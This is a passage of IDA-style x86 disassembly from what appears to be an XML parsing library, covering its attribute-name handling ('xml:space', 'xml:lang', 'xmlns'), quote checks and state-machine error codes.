loc_69B34CA4: ; CODE XREF: sub_69B34BED+A3j
mov ecx, esi
call sub_69B34A8C
loc_69B34CAB: ; CODE XREF: sub_69B34BED+B5j
cmp eax, ebx
jnz loc_69B34DCB
xor eax, eax
mov ax, [esi+4]
mov ecx, esi
push eax
push offset loc_69B333D2
call sub_69B320E7
cmp eax, ebx
jl loc_69B34DCB
lea eax, [esi+0A5h]
mov cl, [eax]
mov [esi+3Ah], cl
mov [eax], bl
mov [esi+0B0h], bl
jmp loc_69B34C18
; ---------------------------------------------------------------------------
loc_69B34CE6: ; CODE XREF: sub_69B34BED+8Aj
mov eax, [ebp+arg_0]
mov [eax], ebx
loc_69B34CEB: ; CODE XREF: sub_69B34BED+6Aj
cmp [esi+0A5h], bl
jnz short loc_69B34D16
mov ecx, [esi+34h]
push edi
push [ebp+arg_4]
call sub_69B35C65
mov eax, [esi+48h]
add [edi], eax
mov al, [esi+3Ah]
cmp al, bl
jz short loc_69B34D39
mov [esi+0A5h], al
mov [esi+3Ah], bl
jmp short loc_69B34D39
; ---------------------------------------------------------------------------
loc_69B34D16: ; CODE XREF: sub_69B34BED+104j
mov eax, [esi+98h]
mov ecx, [ebp+arg_4]
mov [ecx], eax
lea eax, [esi+9Ch]
mov ecx, [eax]
mov [edi], ecx
mov [esi+0A5h], bl
mov [esi+0A4h], bl
mov [eax], ebx
loc_69B34D39: ; CODE XREF: sub_69B34BED+11Cj
; sub_69B34BED+127j
cmp [ebp+arg_8], ebx
mov [esi+48h], ebx
jz short loc_69B34D87
cmp [ebp+arg_8], 8000000Ah
jz short loc_69B34D60
cmp [esi+0A9h], bl
jz short loc_69B34D60
cmp word ptr [esi+52h], 25h
jnz short loc_69B34D60
mov [ebp+arg_8], 0C00CE55Ah
loc_69B34D60: ; CODE XREF: sub_69B34BED+15Bj
; sub_69B34BED+163j ...
cmp [ebp+arg_8], ebx
jz short loc_69B34D87
cmp [ebp+arg_8], 0C00CE550h
jl short loc_69B34D77
cmp [ebp+arg_8], 0C00CE583h
jl short loc_69B34D87
loc_69B34D77: ; CODE XREF: sub_69B34BED+17Fj
push dword ptr [esi+4Ch]
mov ecx, [esi+34h]
call sub_69B318D1
mov [esi+4Ch], ebx
jmp short loc_69B34D8B
; ---------------------------------------------------------------------------
loc_69B34D87: ; CODE XREF: sub_69B34BED+152j
; sub_69B34BED+176j ...
mov byte ptr [esi+50h], 1
loc_69B34D8B: ; CODE XREF: sub_69B34BED+198j
mov eax, [esi+60h]
mov ecx, [ebp+arg_C]
mov [esi+44h], ebx
mov [ecx], eax
cmp [esi+8Ch], bl
mov [esi+64h], ebx
mov [esi+60h], ebx
jz short loc_69B34DC8
cmp [esi+0A8h], bl
jz short loc_69B34DC8
cmp [ebp+arg_8], ebx
jz loc_69B34BFA
jmp short loc_69B34DC8
; ---------------------------------------------------------------------------
loc_69B34DB7: ; CODE XREF: sub_69B34BED+74j
; sub_69B34BED+7Fj
mov eax, [ebp+arg_0]
mov [eax], ebx
mov eax, [ebp+arg_C]
mov [eax], ebx
mov eax, [ebp+arg_4]
mov [edi], ebx
mov [eax], ebx
loc_69B34DC8: ; CODE XREF: sub_69B34BED+1B5j
; sub_69B34BED+1BDj ...
mov eax, [ebp+arg_8]
loc_69B34DCB: ; CODE XREF: sub_69B34BED+C0j
; sub_69B34BED+DBj
pop edi
pop esi
pop ebx
pop ebp
retn 10h
sub_69B34BED endp
; =============== S U B R O U T I N E =======================================
sub_69B34DD2 proc near ; DATA XREF: sub_69B35447+56o
; sub_69B3587A+30o
push esi
mov esi, ecx
cmp byte ptr [esi+0A8h], 0
jnz short loc_69B34DF0
mov ecx, [esi+34h]
lea eax, [esi+5Ch]
push eax
lea eax, [esi+52h]
push eax
call sub_69B35FE4
jmp short loc_69B34DF7
; ---------------------------------------------------------------------------
loc_69B34DF0: ; CODE XREF: sub_69B34DD2+Aj
mov ecx, esi
call sub_69B34A8C
loc_69B34DF7: ; CODE XREF: sub_69B34DD2+1Cj
test eax, eax
jnz short loc_69B34E09
push eax
mov ecx, esi
call sub_69B3220F
test eax, eax
jl short loc_69B34E09
xor eax, eax
loc_69B34E09: ; CODE XREF: sub_69B34DD2+27j
; sub_69B34DD2+33j
pop esi
retn
sub_69B34DD2 endp
; =============== S U B R O U T I N E =======================================
sub_69B34E0B proc near ; CODE XREF: sub_69B3576E+E4j
; DATA XREF: sub_69B3576E:loc_69B3583Eo
push ebx
push esi
mov esi, ecx
movsx eax, word ptr [esi+4]
xor ebx, ebx
sub eax, ebx
jz short loc_69B34E88
dec eax
jz loc_69B34EE8
dec eax
jz short loc_69B34E2D
mov eax, 0C00CE512h
jmp loc_69B34F0C
; ---------------------------------------------------------------------------
loc_69B34E2D: ; CODE XREF: sub_69B34E0B+16j
lea eax, [esi+5Ch]
cmp [eax], bl
jz short loc_69B34E3E
loc_69B34E34: ; CODE XREF: sub_69B34E0B+E0j
mov eax, 0C00CE55Fh
jmp loc_69B34F0C
; ---------------------------------------------------------------------------
loc_69B34E3E: ; CODE XREF: sub_69B34E0B+27j
lea ecx, [esi+52h]
cmp word ptr [ecx], 3Eh
jz short loc_69B34E51
mov eax, 0C00CE505h
jmp loc_69B34F0C
; ---------------------------------------------------------------------------
loc_69B34E51: ; CODE XREF: sub_69B34E0B+3Aj
cmp [esi+0A8h], bl
jnz short loc_69B34E65
push eax
push ecx
mov ecx, [esi+34h]
call sub_69B35FE4
jmp short loc_69B34E6C
; ---------------------------------------------------------------------------
loc_69B34E65: ; CODE XREF: sub_69B34E0B+4Cj
mov ecx, esi
call sub_69B34A8C
loc_69B34E6C: ; CODE XREF: sub_69B34E0B+58j
cmp eax, ebx
jnz loc_69B34F0C
mov ecx, [esi+34h]
push ebx
call sub_69B318D1
push 1
mov ecx, esi
call sub_69B3220F
jmp short loc_69B34F06
; ---------------------------------------------------------------------------
loc_69B34E88: ; CODE XREF: sub_69B34E0B+Cj
cmp [esi+0A8h], bl
jnz short loc_69B34EA2
mov ecx, [esi+34h]
lea eax, [esi+5Ch]
push eax
lea eax, [esi+52h]
push eax
call sub_69B35FE4
jmp short loc_69B34EA9
; ---------------------------------------------------------------------------
loc_69B34EA2: ; CODE XREF: sub_69B34E0B+83j
mov ecx, esi
call sub_69B34A8C
loc_69B34EA9: ; CODE XREF: sub_69B34E0B+95j
cmp eax, ebx
jnz short loc_69B34F0C
mov ecx, [esi+34h]
push ebx
call sub_69B318D1
cmp [esi+87h], bl
jz short loc_69B34EC5
cmp word ptr [esi+52h], 3Eh
jz short loc_69B34EE2
loc_69B34EC5: ; CODE XREF: sub_69B34E0B+B1j
push 1
push offset sub_69B32791
mov ecx, esi
call sub_69B320E7
cmp eax, ebx
jl short loc_69B34F0C
mov ecx, esi
call sub_69B32791
cmp eax, ebx
jl short loc_69B34F0C
loc_69B34EE2: ; CODE XREF: sub_69B34E0B+B8j
mov word ptr [esi+4], 1
loc_69B34EE8: ; CODE XREF: sub_69B34E0B+Fj
cmp [esi+5Ch], bl
jnz loc_69B34E34
push 2
push offset sub_69B3254F
mov ecx, esi
mov dword ptr [esi+44h], 3Fh
call sub_69B320E7
loc_69B34F06: ; CODE XREF: sub_69B34E0B+7Bj
cmp eax, ebx
jl short loc_69B34F0C
xor eax, eax
loc_69B34F0C: ; CODE XREF: sub_69B34E0B+1Dj
; sub_69B34E0B+2Ej ...
pop esi
pop ebx
retn
sub_69B34E0B endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B34F0F proc near ; DATA XREF: sub_69B355C8+182o
var_8 = dword ptr -8
lpStr2 = dword ptr -4
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
mov esi, ecx
movsx eax, word ptr [esi+4]
cmp eax, 8 ; switch 9 cases
push edi
ja loc_69B352B3 ; default
push 2
pop ebx
jmp ds:off_69B352BD[eax*4] ; switch jump
loc_69B34F30: ; DATA XREF: .text:off_69B352BDo
and dword ptr [esi+78h], 0 ; jumptable 69B34F29 case 0
push 1
push offset sub_69B3254F
mov ecx, esi
mov byte ptr [esi+0A7h], 0
call sub_69B320E7
test eax, eax
jl loc_69B352B8
mov ecx, esi
call sub_69B3254F
test eax, eax
jl loc_69B352B8
mov word ptr [esi+4], 1
loc_69B34F66: ; CODE XREF: sub_69B34F0F+1Aj
; DATA XREF: .text:off_69B352BDo
mov ax, [esi+52h] ; jumptable 69B34F29 case 1
cmp ax, [esi+5Ah]
jz short loc_69B34FDD
cmp ax, 3Eh
jz short loc_69B34FDD
cmp ax, 78h
jnz short loc_69B34F83
mov byte ptr [esi+0A7h], 1
loc_69B34F83: ; CODE XREF: sub_69B34F0F+6Bj
push ebx
push offset sub_69B32791
mov ecx, esi
call sub_69B320E7
test eax, eax
jl loc_69B352B8
mov ecx, esi
call sub_69B32791
test eax, eax
jl loc_69B352B8
mov eax, [esi+34h]
mov ecx, [eax+48h]
cmp ecx, [eax+8]
jz short loc_69B34FC3
cmp word ptr [esi+52h], 3Dh
jz short loc_69B34FC3
mov eax, 0C00CE505h
jmp loc_69B352B8
; ---------------------------------------------------------------------------
loc_69B34FC3: ; CODE XREF: sub_69B34F0F+A1j
; sub_69B34F0F+A8j
mov [esi+4], bx
loc_69B34FC7: ; CODE XREF: sub_69B34F0F+1Aj
; DATA XREF: .text:off_69B352BDo
mov ecx, [esi+34h] ; jumptable 69B34F29 case 2
mov eax, [ecx+48h]
cmp eax, [ecx+8]
jnz short loc_69B34FF3
mov word ptr [esi+4], 7
jmp loc_69B352AF
; ---------------------------------------------------------------------------
loc_69B34FDD: ; CODE XREF: sub_69B34F0F+5Fj
; sub_69B34F0F+65j ...
push 1
mov ecx, esi
call sub_69B3220F
test eax, eax
jl loc_69B352B8
jmp loc_69B352AF
; ---------------------------------------------------------------------------
loc_69B34FF3: ; CODE XREF: sub_69B34F0F+C1j
cmp byte ptr [esi+5Ch], 0
jnz loc_69B35295
cmp byte ptr [esi+0A7h], 0
jz loc_69B35113
lea eax, [ebp+var_8]
push eax
lea eax, [ebp+lpStr2]
push eax
call sub_69B35C65
xor eax, eax
mov al, [esi+88h]
push eax ; char
mov eax, [esi+48h]
add eax, [ebp+var_8]
push eax ; nChar
push [ebp+lpStr2] ; lpStr2
push offset aXmlSpace ; "xml:space"
call sub_69B31FAA
test al, al
jnz loc_69B3510A
xor eax, eax
mov al, [esi+88h]
push eax ; char
mov eax, [esi+48h]
add eax, [ebp+var_8]
push eax ; nChar
push [ebp+lpStr2] ; lpStr2
push offset aXmlLang ; "xml:lang"
call sub_69B31FAA
test al, al
jz short loc_69B35069
mov dword ptr [esi+44h], 21h
jmp loc_69B35116
; ---------------------------------------------------------------------------
loc_69B35069: ; CODE XREF: sub_69B34F0F+14Cj
cmp dword ptr [esi+60h], 5
mov edi, offset aXmlns ; "xmlns"
jnz short loc_69B3508C
xor eax, eax
mov al, [esi+88h]
push eax ; char
push 5 ; nChar
push [ebp+lpStr2] ; lpStr2
push edi ; lpString
call sub_69B31FAA
test al, al
jnz short loc_69B350A9
loc_69B3508C: ; CODE XREF: sub_69B34F0F+163j
xor eax, eax
mov al, [esi+88h]
push eax ; char
mov eax, [esi+48h]
add eax, [ebp+var_8]
push eax ; nChar
push [ebp+lpStr2] ; lpStr2
push edi ; lpString
call sub_69B31FAA
test al, al
jz short loc_69B350E0
loc_69B350A9: ; CODE XREF: sub_69B34F0F+17Bj
mov eax, [esi+48h]
add eax, [ebp+var_8]
cmp eax, 9
jl short loc_69B350D7
mov eax, [ebp+lpStr2]
push 1 ; char
push 3 ; nChar
add eax, 0Ch
push eax ; lpStr2
push offset aXml ; "xml"
call sub_69B31FAA
test al, al
jz short loc_69B350D7
mov eax, 0C00CE568h
jmp loc_69B352B8
; ---------------------------------------------------------------------------
loc_69B350D7: ; CODE XREF: sub_69B34F0F+1A3j
; sub_69B34F0F+1BCj
mov dword ptr [esi+44h], 1Fh
jmp short loc_69B35116
; ---------------------------------------------------------------------------
loc_69B350E0: ; CODE XREF: sub_69B34F0F+198j
cmp byte ptr [esi+8Bh], 0
jz short loc_69B35113
xor eax, eax
mov al, [esi+88h]
push eax ; char
mov eax, [esi+48h]
add eax, [ebp+var_8]
push eax ; nChar
push [ebp+lpStr2] ; lpStr2
push offset aXmlSpace_0 ; "xml-space"
call sub_69B31FAA
test al, al
jz short loc_69B35113
loc_69B3510A: ; CODE XREF: sub_69B34F0F+127j
mov dword ptr [esi+44h], 20h
jmp short loc_69B35116
; ---------------------------------------------------------------------------
loc_69B35113: ; CODE XREF: sub_69B34F0F+F5j
; sub_69B34F0F+1D8j ...
mov [esi+44h], ebx
loc_69B35116: ; CODE XREF: sub_69B34F0F+155j
; sub_69B34F0F+1CFj ...
mov word ptr [esi+4], 3
jmp loc_69B352AF
; ---------------------------------------------------------------------------
loc_69B35121: ; CODE XREF: sub_69B34F0F+1Aj
; DATA XREF: .text:off_69B352BDo
mov eax, [esi+34h] ; jumptable 69B34F29 case 3
mov ecx, [eax+48h]
cmp ecx, [eax+8]
jz loc_69B351B5
mov byte ptr [esi+54h], 0
mov word ptr [esi+4], 4
loc_69B3513A: ; CODE XREF: sub_69B34F0F+1Aj
; DATA XREF: .text:off_69B352BDo
lea eax, [esi+52h] ; jumptable 69B34F29 case 4
cmp word ptr [eax], 3Dh
jz short loc_69B3514D
mov eax, 0C00CE501h
jmp loc_69B352B8
; ---------------------------------------------------------------------------
loc_69B3514D: ; CODE XREF: sub_69B34F0F+232j
cmp byte ptr [esi+0A8h], 0
jnz short loc_69B35165
lea ecx, [esi+5Ch]
push ecx
mov ecx, [esi+34h]
push eax
call sub_69B35FE4
jmp short loc_69B3516C
; ---------------------------------------------------------------------------
loc_69B35165: ; CODE XREF: sub_69B34F0F+245j
mov ecx, esi
call sub_69B34A8C
loc_69B3516C: ; CODE XREF: sub_69B34F0F+254j
test eax, eax
jnz loc_69B352B8
mov eax, [esi+34h]
mov ecx, [eax+48h]
cmp ecx, [eax+8]
jnz short loc_69B351A4
push 5
push offset sub_69B3254F
mov ecx, esi
call sub_69B320E7
test eax, eax
jl loc_69B352B8
mov ecx, esi
call sub_69B3254F
test eax, eax
jl loc_69B352B8
loc_69B351A4: ; CODE XREF: sub_69B34F0F+26Ej
mov word ptr [esi+4], 5
loc_69B351AA: ; CODE XREF: sub_69B34F0F+1Aj
; DATA XREF: .text:off_69B352BDo
mov ecx, [esi+34h] ; jumptable 69B34F29 case 5
mov eax, [ecx+48h]
cmp eax, [ecx+8]
jnz short loc_69B351BF
loc_69B351B5: ; CODE XREF: sub_69B34F0F+21Bj
mov eax, 0C00CE513h
jmp loc_69B352B8
; ---------------------------------------------------------------------------
loc_69B351BF: ; CODE XREF: sub_69B34F0F+2A4j
lea edx, [esi+52h]
mov ax, [edx]
cmp ax, 22h
jz short loc_69B351DB
cmp ax, 27h
jz short loc_69B351DB
mov eax, 0C00CE502h
jmp loc_69B352B8
; ---------------------------------------------------------------------------
loc_69B351DB: ; CODE XREF: sub_69B34F0F+2BAj
; sub_69B34F0F+2C0j
cmp byte ptr [esi+0A8h], 0
mov [esi+56h], ax
jnz short loc_69B351F4
lea eax, [esi+5Ch]
push eax
push edx
call sub_69B35FE4
jmp short loc_69B351FB
; ---------------------------------------------------------------------------
loc_69B351F4: ; CODE XREF: sub_69B34F0F+2D7j
mov ecx, esi
call sub_69B34A8C
loc_69B351FB: ; CODE XREF: sub_69B34F0F+2E3j
test eax, eax
jnz loc_69B352B8
mov ecx, [esi+34h]
push eax
call sub_69B318D1
push 6
push offset sub_69B33973
mov ecx, esi
call sub_69B320E7
jmp loc_69B352B8
; ---------------------------------------------------------------------------
loc_69B3521F: ; CODE XREF: sub_69B34F0F+1Aj
; DATA XREF: .text:off_69B352BDo
cmp byte ptr [esi+5Ch], 0 ; jumptable 69B34F29 case 6
jnz short loc_69B35295
mov ax, [esi+52h]
cmp ax, [esi+5Ah]
jz loc_69B34FDD
cmp ax, 3Eh
jz loc_69B34FDD
mov eax, [esi+34h]
mov ecx, [eax+48h]
cmp ecx, [eax+8]
jz short loc_69B35258
cmp byte ptr [esi+8Bh], 0
jnz short loc_69B35258
mov eax, 0C00CE509h
jmp short loc_69B352B8
; ---------------------------------------------------------------------------
loc_69B35258: ; CODE XREF: sub_69B34F0F+337j
; sub_69B34F0F+340j
and word ptr [esi+4], 0
jmp short loc_69B352AF
; ---------------------------------------------------------------------------
loc_69B3525F: ; CODE XREF: sub_69B34F0F+1Aj
; DATA XREF: .text:off_69B352BDo
mov eax, [esi+34h] ; jumptable 69B34F29 case 7
mov ecx, [eax+8]
sub ecx, [eax+14h]
push 8
dec ecx
mov [esi+48h], ecx
push offset sub_69B3254F
mov ecx, esi
call sub_69B320E7
test eax, eax
jl short loc_69B352B8
mov ecx, esi
call sub_69B3254F
test eax, eax
jl short loc_69B352B8
mov word ptr [esi+4], 8
loc_69B3528F: ; CODE XREF: sub_69B34F0F+1Aj
; DATA XREF: .text:off_69B352BDo
cmp byte ptr [esi+5Ch], 0 ; jumptable 69B34F29 case 8
jz short loc_69B3529C
loc_69B35295: ; CODE XREF: sub_69B34F0F+E8j
; sub_69B34F0F+314j
mov eax, 0C00CE55Eh
jmp short loc_69B352B8
; ---------------------------------------------------------------------------
loc_69B3529C: ; CODE XREF: sub_69B34F0F+384j
mov eax, [esi+34h]
mov ecx, [eax+14h]
sub ecx, [eax+8]
mov word ptr [esi+4], 2
inc ecx
add [esi+48h], ecx
loc_69B352AF: ; CODE XREF: sub_69B34F0F+C9j
; sub_69B34F0F+DFj ...
xor eax, eax
jmp short loc_69B352B8
; ---------------------------------------------------------------------------
loc_69B352B3: ; CODE XREF: sub_69B34F0F+11j
mov eax, 0C00CE512h ; default
loc_69B352B8: ; CODE XREF: sub_69B34F0F+3Cj
; sub_69B34F0F+4Bj ...
pop edi
pop esi
pop ebx
leave
retn
sub_69B34F0F endp
; ---------------------------------------------------------------------------
off_69B352BD dd offset loc_69B34F30 ; DATA XREF: sub_69B34F0F+1Ar
dd offset loc_69B34F66 ; jump table for switch statement
dd offset loc_69B34FC7
dd offset loc_69B35121
dd offset loc_69B3513A
dd offset loc_69B351AA
dd offset loc_69B3521F
dd offset loc_69B3525F
dd offset loc_69B3528F
align 4
; const WCHAR aXmlSpace_0
aXmlSpace_0: ; DATA XREF: sub_69B34F0F+1EDo
unicode 0, <xml-space>,0
; const WCHAR aXmlLang
aXmlLang: ; DATA XREF: sub_69B34F0F+140o
unicode 0, <xml:lang>,0
align 4
; const WCHAR aXmlSpace
aXmlSpace: ; DATA XREF: sub_69B34F0F+11Bo
unicode 0, <xml:space>,0
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B35320 proc near ; CODE XREF: sub_69B3576E+3Ej
; DATA XREF: sub_69B3576E+24o
var_8 = dword ptr -8
var_4 = dword ptr -4
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
mov esi, ecx
movsx eax, word ptr [esi+4]
sub eax, 0
push edi
jz short loc_69B35347
dec eax
jz short loc_69B35351
dec eax
jz loc_69B353D0
mov eax, 0C00CE512h
jmp loc_69B35406
; ---------------------------------------------------------------------------
loc_69B35347: ; CODE XREF: sub_69B35320+11j
mov byte ptr [esi+54h], 1
mov word ptr [esi+4], 1
loc_69B35351: ; CODE XREF: sub_69B35320+14j
lea edi, [esi+52h]
cmp word ptr [edi], 3Ch
jz short loc_69B353CA
lea ebx, [esi+5Ch]
loc_69B3535D: ; CODE XREF: sub_69B35320+A8j
cmp byte ptr [ebx], 0
jnz short loc_69B353CA
mov ax, [edi]
cmp ax, 26h
jz loc_69B3540B
cmp ax, 3Eh
jnz short loc_69B353AD
cmp byte ptr [esi+8Bh], 0
jnz short loc_69B353AD
mov ecx, [esi+34h]
lea eax, [ebp+var_8]
push eax
lea eax, [ebp+var_4]
push eax
call sub_69B35C65
mov ecx, [ebp+var_8]
cmp ecx, 2
mov eax, [ebp+var_4]
lea eax, [eax+ecx*2-4]
mov [ebp+var_4], eax
jl short loc_69B353AD
cmp word ptr [eax], 5Dh
jnz short loc_69B353AD
cmp word ptr [eax+2], 5Dh
jz short loc_69B3541B
loc_69B353AD: ; CODE XREF: sub_69B35320+53j
; sub_69B35320+5Cj ...
mov ecx, [esi+34h]
lea eax, [esi+54h]
push eax
push edi
call sub_69B35B2D
test eax, eax
jl short loc_69B35422
push eax
call sub_69B8861E
cmp word ptr [edi], 3Ch
jnz short loc_69B3535D
loc_69B353CA: ; CODE XREF: sub_69B35320+38j
; sub_69B35320+40j
mov word ptr [esi+4], 2
loc_69B353D0: ; CODE XREF: sub_69B35320+17j
mov eax, [esi+34h]
mov ecx, [eax+8]
sub ecx, [eax+14h]
dec ecx
test ecx, ecx
jg short loc_69B353E7
cmp byte ptr [esi+0A5h], 0
jz short loc_69B353F7
loc_69B353E7: ; CODE XREF: sub_69B35320+BCj
mov al, [esi+54h]
neg al
sbb eax, eax
and eax, 5
add eax, 0Dh
mov [esi+44h], eax
loc_69B353F7: ; CODE XREF: sub_69B35320+C5j
push 1
mov ecx, esi
call sub_69B3220F
test eax, eax
jl short loc_69B35406
xor eax, eax
loc_69B35406: ; CODE XREF: sub_69B35320+22j
; sub_69B35320+E2j ...
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
loc_69B3540B: ; CODE XREF: sub_69B35320+49j
push 1
push offset sub_69B32EF6
mov ecx, esi
call sub_69B320E7
jmp short loc_69B35406
; ---------------------------------------------------------------------------
loc_69B3541B: ; CODE XREF: sub_69B35320+8Bj
mov eax, 0C00CE55Ch
jmp short loc_69B35406
; ---------------------------------------------------------------------------
loc_69B35422: ; CODE XREF: sub_69B35320+9Cj
cmp eax, 8000000Ah
jnz short loc_69B35406
cmp byte ptr [esi+0A8h], 0
jnz short loc_69B3543E
mov ecx, [esi+34h]
push ebx
push edi
call sub_69B35FE4
jmp short loc_69B35406
; ---------------------------------------------------------------------------
loc_69B3543E: ; CODE XREF: sub_69B35320+110j
mov ecx, esi
call sub_69B34A8C
jmp short loc_69B35406
sub_69B35320 endp
; =============== S U B R O U T I N E =======================================
sub_69B35447 proc near ; CODE XREF: sub_69B32791+160p
; sub_69B32BA0+C4p ...
arg_0 = dword ptr 4
push ebx
mov ebx, [esp+4+arg_0]
push esi
mov esi, ecx
cmp byte ptr [esi+0A8h], 0
push edi
mov [esi+4], bx
jnz short loc_69B3546F
mov ecx, [esi+34h]
lea eax, [esi+5Ch]
push eax
lea eax, [esi+52h]
push eax
call sub_69B35FE4
jmp short loc_69B35476
; ---------------------------------------------------------------------------
loc_69B3546F: ; CODE XREF: sub_69B35447+14j
mov ecx, esi
call sub_69B34A8C
loc_69B35476: ; CODE XREF: sub_69B35447+26j
mov edi, eax
test edi, edi
jz short loc_69B354A9
cmp edi, 8000000Ah
jz short loc_69B3549C
cmp edi, 0C00CE600h
jz short loc_69B3549C
cmp edi, 0C00CE601h
jz short loc_69B3549C
cmp edi, 8000E5FFh
jnz short loc_69B354A9
loc_69B3549C: ; CODE XREF: sub_69B35447+3Bj
; sub_69B35447+43j ...
push ebx
push offset sub_69B34DD2
mov ecx, esi
call sub_69B320E7
loc_69B354A9: ; CODE XREF: sub_69B35447+33j
; sub_69B35447+53j
mov eax, edi
pop edi
pop esi
pop ebx
retn 4
sub_69B35447 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B354B1 proc near ; CODE XREF: sub_69B38A09+169p
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push ecx
push ebx
push esi
mov esi, ecx
xor ebx, ebx
cmp [esi+0A8h], bl
jz short loc_69B354D9
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
call sub_69B34BED
jmp loc_69B355C2
; ---------------------------------------------------------------------------
loc_69B354D9: ; CODE XREF: sub_69B354B1+10j
cmp [esi+50h], bl
jz short loc_69B354EF
push dword ptr [esi+4Ch]
mov ecx, [esi+34h]
call sub_69B318D1
mov [esi+4Ch], ebx
mov [esi+50h], bl
loc_69B354EF: ; CODE XREF: sub_69B354B1+2Bj
mov ecx, esi
call dword ptr [esi]
cmp eax, ebx
mov [ebp+var_4], eax
jnz short loc_69B3553A
loc_69B354FA: ; CODE XREF: sub_69B354B1+57j
cmp [esi+44h], ebx
jnz short loc_69B3550A
mov ecx, esi
call dword ptr [esi]
cmp eax, ebx
mov [ebp+var_4], eax
jz short loc_69B354FA
loc_69B3550A: ; CODE XREF: sub_69B354B1+4Cj
cmp [ebp+var_4], ebx
jnz short loc_69B3553A
mov eax, [esi+44h]
mov ecx, [ebp+arg_0]
mov [ecx], eax
loc_69B35517: ; CODE XREF: sub_69B354B1+95j
cmp [esi+0A5h], bl
push edi
jnz short loc_69B35559
mov edi, [ebp+arg_8]
mov ecx, [esi+34h]
push edi
push [ebp+arg_4]
call sub_69B35C65
mov eax, [esi+48h]
cmp eax, ebx
jz short loc_69B35582
add [edi], eax
jmp short loc_69B3557F
; ---------------------------------------------------------------------------
loc_69B3553A: ; CODE XREF: sub_69B354B1+47j
; sub_69B354B1+5Cj
cmp [ebp+var_4], 8000000Ah
mov eax, [ebp+arg_0]
mov [eax], ebx
jnz short loc_69B35517
mov eax, [ebp+arg_C]
mov [eax], ebx
mov eax, [ebp+arg_8]
mov [eax], ebx
mov eax, [ebp+arg_4]
mov [eax], ebx
jmp short loc_69B355BF
; ---------------------------------------------------------------------------
loc_69B35559: ; CODE XREF: sub_69B354B1+6Dj
mov eax, [esi+98h]
mov ecx, [ebp+arg_4]
mov edx, [ebp+arg_8]
mov [ecx], eax
lea eax, [esi+9Ch]
mov ecx, [eax]
mov [edx], ecx
mov [esi+0A5h], bl
mov [esi+0A4h], bl
mov [eax], ebx
loc_69B3557F: ; CODE XREF: sub_69B354B1+87j
mov [esi+48h], ebx
loc_69B35582: ; CODE XREF: sub_69B354B1+83j
cmp [ebp+var_4], ebx
pop edi
jz short loc_69B355AA
cmp [ebp+var_4], 0C00CE550h
jl short loc_69B3559A
cmp [ebp+var_4], 0C00CE583h
jl short loc_69B355AA
loc_69B3559A: ; CODE XREF: sub_69B354B1+DEj
push dword ptr [esi+4Ch]
mov ecx, [esi+34h]
call sub_69B318D1
mov [esi+4Ch], ebx
jmp short loc_69B355AE
; ---------------------------------------------------------------------------
loc_69B355AA: ; CODE XREF: sub_69B354B1+D5j
; sub_69B354B1+E7j
mov byte ptr [esi+50h], 1
loc_69B355AE: ; CODE XREF: sub_69B354B1+F7j
mov eax, [esi+60h]
mov ecx, [ebp+arg_C]
mov [esi+44h], ebx
mov [ecx], eax
mov [esi+64h], ebx
mov [esi+60h], ebx
loc_69B355BF: ; CODE XREF: sub_69B354B1+A6j
mov eax, [ebp+var_4]
loc_69B355C2: ; CODE XREF: sub_69B354B1+23j
pop esi
pop ebx
leave
retn 10h
sub_69B354B1 endp
; =============== S U B R O U T I N E =======================================
sub_69B355C8 proc near ; CODE XREF: sub_69B3576E+A3j
; DATA XREF: sub_69B3576E+8Ao
push ebx
push esi
mov esi, ecx
movsx eax, word ptr [esi+4]
push edi
xor ebx, ebx
sub eax, ebx
push 1
pop edi
jz loc_69B356D4
dec eax
jz loc_69B35704
dec eax
push 3Eh
pop edi
jz short loc_69B35607
dec eax
jz short loc_69B35659
dec eax
jz short loc_69B355FB
mov eax, 0C00CE512h
jmp loc_69B3576A
; ---------------------------------------------------------------------------
loc_69B355FB: ; CODE XREF: sub_69B355C8+27j
mov dword ptr [esi+44h], 3Eh
jmp loc_69B356AF
; ---------------------------------------------------------------------------
loc_69B35607: ; CODE XREF: sub_69B355C8+21j
mov ecx, [esi+34h]
push ebx
call sub_69B318D1
lea eax, [esi+52h]
mov cx, [eax]
cmp cx, 2Fh
jnz short loc_69B35647
cmp [esi+0A8h], bl
jnz short loc_69B35633
lea ecx, [esi+5Ch]
push ecx
mov ecx, [esi+34h]
push eax
call sub_69B35FE4
jmp short loc_69B3563A
; ---------------------------------------------------------------------------
loc_69B35633: ; CODE XREF: sub_69B355C8+5Aj
mov ecx, esi
call sub_69B34A8C
loc_69B3563A: ; CODE XREF: sub_69B355C8+69j
cmp eax, ebx
jnz loc_69B3576A
mov [esi+44h], edi
jmp short loc_69B35653
; ---------------------------------------------------------------------------
loc_69B35647: ; CODE XREF: sub_69B355C8+52j
cmp cx, di
jnz short loc_69B35672
mov dword ptr [esi+44h], 3Dh
loc_69B35653: ; CODE XREF: sub_69B355C8+7Dj
mov word ptr [esi+4], 3
loc_69B35659: ; CODE XREF: sub_69B355C8+24j
lea ecx, [esi+5Ch]
cmp [ecx], bl
jz short loc_69B3566A
loc_69B35660: ; CODE XREF: sub_69B355C8+13Fj
mov eax, 0C00CE55Eh
jmp loc_69B3576A
; ---------------------------------------------------------------------------
loc_69B3566A: ; CODE XREF: sub_69B355C8+96j
lea eax, [esi+52h]
cmp [eax], di
jz short loc_69B3568C
loc_69B35672: ; CODE XREF: sub_69B355C8+82j
mov esi, [esi+34h]
mov eax, [esi+48h]
sub eax, [esi+8]
neg eax
sbb eax, eax
and eax, 0FFFFFFF7h
add eax, 0C00CE513h
jmp loc_69B3576A
; ---------------------------------------------------------------------------
loc_69B3568C: ; CODE XREF: sub_69B355C8+A8j
cmp [esi+0A8h], bl
jnz short loc_69B356A0
push ecx
mov ecx, [esi+34h]
push eax
call sub_69B35FE4
jmp short loc_69B356A7
; ---------------------------------------------------------------------------
loc_69B356A0: ; CODE XREF: sub_69B355C8+CAj
mov ecx, esi
call sub_69B34A8C
loc_69B356A7: ; CODE XREF: sub_69B355C8+D6j
cmp eax, ebx
jnz loc_69B3576A
